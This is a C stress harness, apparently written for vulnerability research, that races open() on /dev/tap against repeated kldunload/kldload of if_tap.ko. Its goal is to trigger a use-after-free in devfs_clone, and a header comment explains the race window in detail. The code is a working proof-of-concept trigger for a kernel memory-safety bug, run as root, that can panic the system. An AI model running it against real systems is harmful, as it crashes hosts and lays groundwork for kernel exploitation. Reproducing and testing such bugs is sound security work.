DF-0774 / uaf_stress.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | /* * DF-0774 โ devfs_clone UAF stress harness. * * Race: open("/dev/tap") โ devfs_clone() matches "tap" clone handler, * releases devfs_lock (devfs_core.c:2333), calls devfs_config() (2334), * then dereferences chandler->nhandler (2341) โ all with NO lock held. * * Concurrently: kldunload if_tap โ destroy_autoclone_dev โ * devfs_clone_handler_del("tap") โ core thread processes DEVFS_CHANDLER_DEL * โ devfs_chandler_del_worker() TAILQ_REMOVE + kfree(chandler). * * If the DEL is processed between the lock release (2333) and the nhandler * deref (2341), we get a use-after-free on the chandler struct (M_DEVFS). * * The caller devfs_spec_open (devfs_vnops.c:901) holds devfs_lock SHARED on * entry; devfs_clone releases/reacquires it internally. The core thread * (devfs_msg_core โ devfs_msg_exec at 1289) acquires devfs_lock EXCLUSIVE * to process each message, including CHANDLER_DEL. * * MUST RUN AS ROOT (needs kldunload + /dev/tap is 0600). */ #include <sys/types.h> #include <sys/module.h> #include <sys/linker.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <errno.h> #include <sys/wait.h> #define TAP_DEV "/dev/tap" #define TAP_MODULE "if_tap.ko" #define NUM_OPENS 8 static volatile sig_atomic_t stop = 0; static void sigh(int sig) { (void)sig; stop = 1; } /* * Worker: hammer open()/close() on /dev/tap as fast as possible. * Each open triggers devfs_clone() โ the UAF window. */ static void open_worker(void) { int fd; while (!stop) { fd = open(TAP_DEV, O_RDWR); if (fd >= 0) close(fd); } _exit(0); } /* * Parent: repeatedly unload + reload if_tap.ko. * Each unload calls destroy_autoclone_dev โ devfs_clone_handler_del. * Reload re-registers the handler for the next race iteration. */ static void load_loop(void) { int fileid; int iter = 0; while (!stop) { /* Unload by fileid: kldfind โ kldunload */ fileid = kldfind(TAP_MODULE); if (fileid >= 0) { if (kldunload(fileid) == 0) { /* Race window open: handler is being/has been freed. * Open workers racing through devfs_clone may hit the UAF. */ } } /* Short spin to widen the window for opens to land in devfs_clone * while the handler is mid-deletion. */ { volatile int j; for (j = 0; j < 200; j++); } /* Reload so open workers can match the handler next iteration */ if (kldload(TAP_MODULE) != 0) { /* if already loaded or transient failure, ignore */ } iter++; if ((iter % 50) == 0) fprintf(stderr, "load iter %d\n", iter); } } int main(int argc, char **argv) { int i; pid_t workers[NUM_OPENS]; signal(SIGINT, sigh); signal(SIGALRM, sigh); if (argc > 1) alarm(atoi(argv[1])); else alarm(45); /* default 45s */ fprintf(stderr, "DF-0774 devfs_clone UAF stress: %d open workers + " "kldunload/kldload loop\n", NUM_OPENS); /* Fork open workers */ for (i = 0; i < NUM_OPENS; i++) { workers[i] = fork(); if (workers[i] == 0) open_worker(); else if (workers[i] < 0) { perror("fork"); exit(1); } } /* Parent does the load/unload loop */ load_loop(); /* Collect children */ stop = 1; for (i = 0; i < NUM_OPENS; i++) { kill(workers[i], SIGINT); waitpid(workers[i], NULL, 0); } /* Ensure if_tap is loaded for a clean state */ if (kldfind(TAP_MODULE) < 0) kldload(TAP_MODULE); fprintf(stderr, "DF-0774 stress complete (no panic observed)\n"); return 0; } |